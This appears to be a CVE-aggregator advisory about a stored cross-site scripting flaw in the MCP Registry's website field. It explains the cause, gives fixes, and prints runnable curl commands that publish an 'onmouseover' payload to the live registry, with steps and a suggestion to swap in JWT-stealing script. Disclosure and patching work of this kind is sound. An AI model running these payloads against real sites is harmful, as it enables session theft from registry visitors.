MCP Registry, Stored XSS, (no CVE) (Medium)

Listen to this Post

How the mentioned CVE works:

The MCP Registry’s public catalogue (GET /) is vulnerable to stored cross-site scripting because the `websiteUrl` field in a published `server.json` is not properly sanitized. Server-side validation in `validators.go` (validateWebsiteURL) only checks that the URL is absolute and uses HTTPS – it does not reject quote characters. A malicious `websiteUrl` like `https://example.com/”onmouseover=alert(document.domain)//` passes this check because Go’s `net/url.Parse` accepts literal double quotes in the path. On the client side, the `ui_index.html` file builds an anchor’s `href` attribute by interpolating the escaped `websiteUrl` using a homegrown `escapeHtml` function. This function performs a `textContent` → `innerHTML` round-trip, which – per HTML5 serialization rules – encodes only &, <, >, and U+00A0. It does not encode `”` or '. Therefore, the double quote breaks out of the `href` attribute, allowing an attacker to append arbitrary event handlers (e.g., onmouseover). The page’s Content-Security-Policy includes 'unsafe-inline', so injected inline event handlers execute. Any user with a publish token (via GitHub OAuth or anonymous auth) can plant a poisoned server entry. When a victim expands the server card and hovers over the Website link, the payload fires in the context of registry.modelcontextprotocol.io. This leads to stored XSS affecting all visitors.

dailycve form:

Platform: MCP Registry
Version: Unspecified before fix
Vulnerability: Stored Cross-Site Scripting
Severity: Medium – 6.1
Date: May 8 2026

Prediction: Within two weeks

What Undercode Say:

Obtain registry token using GitHub PAT
TOKEN=$(curl -sS -X POST https://registry.modelcontextprotocol.io/v0/auth/github-at \
-H 'Content-Type: application/json' \
-d '{"github_token":"<gh-pat>"}' | jq -r .registry_token)
Publish malicious server.json with quoted payload
curl -sS -X POST https://registry.modelcontextprotocol.io/v0/publish \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
--data-binary @- <<'EOF'
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-09-29/server.schema.json",
"name": "io.github.test/xss-poc",
"version": "0.0.1",
"description": "hover the website link",
"websiteUrl": "https://example.com/\"onmouseover=alert(document.domain)//"
}
EOF
Verify entry appears on homepage, expand card, hover link

Exploit:

1. Attacker publishes a server with `websiteUrl` containing "onmouseover=alert(document.domain)//.
2. Victim visits https://registry.modelcontextprotocol.io/`, searches for the malicious server, expands its card.
3. Victim hovers the “Website” link → `onmouseover` executes `alert(document.domain)` from the registry origin.
4. Attacker can replace payload with script to steal JWTs, modify localStorage, or perform authenticated actions.
<h2 style="color: blue;">Protection from this CVE</h2>
- Replace `escapeHtml` with an attribute‑safe encoder that escapes
,, ``,=, and backticks.
- Use `setAttribute('href', value)` instead of string interpolation to build the `` tag.
- Tighten `validateWebsiteURL` to reject raw quotes or percent‑encode them via
parsedURL.String()`.
– Remove `’unsafe-inline’` from the `script-src` CSP directive.

Impact

  • Stored XSS on the official MCP Registry homepage – every visitor who expands the poisoned card triggers execution.
  • Attacker can read/write `localStorage` (pinning a malicious custom base URL), issue XHR requests (connect-src allows any origin), and perform phishing for Registry JWTs.
  • Credibility of the registry is undermined; all published servers become potential attack vectors until the bug is fixed.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top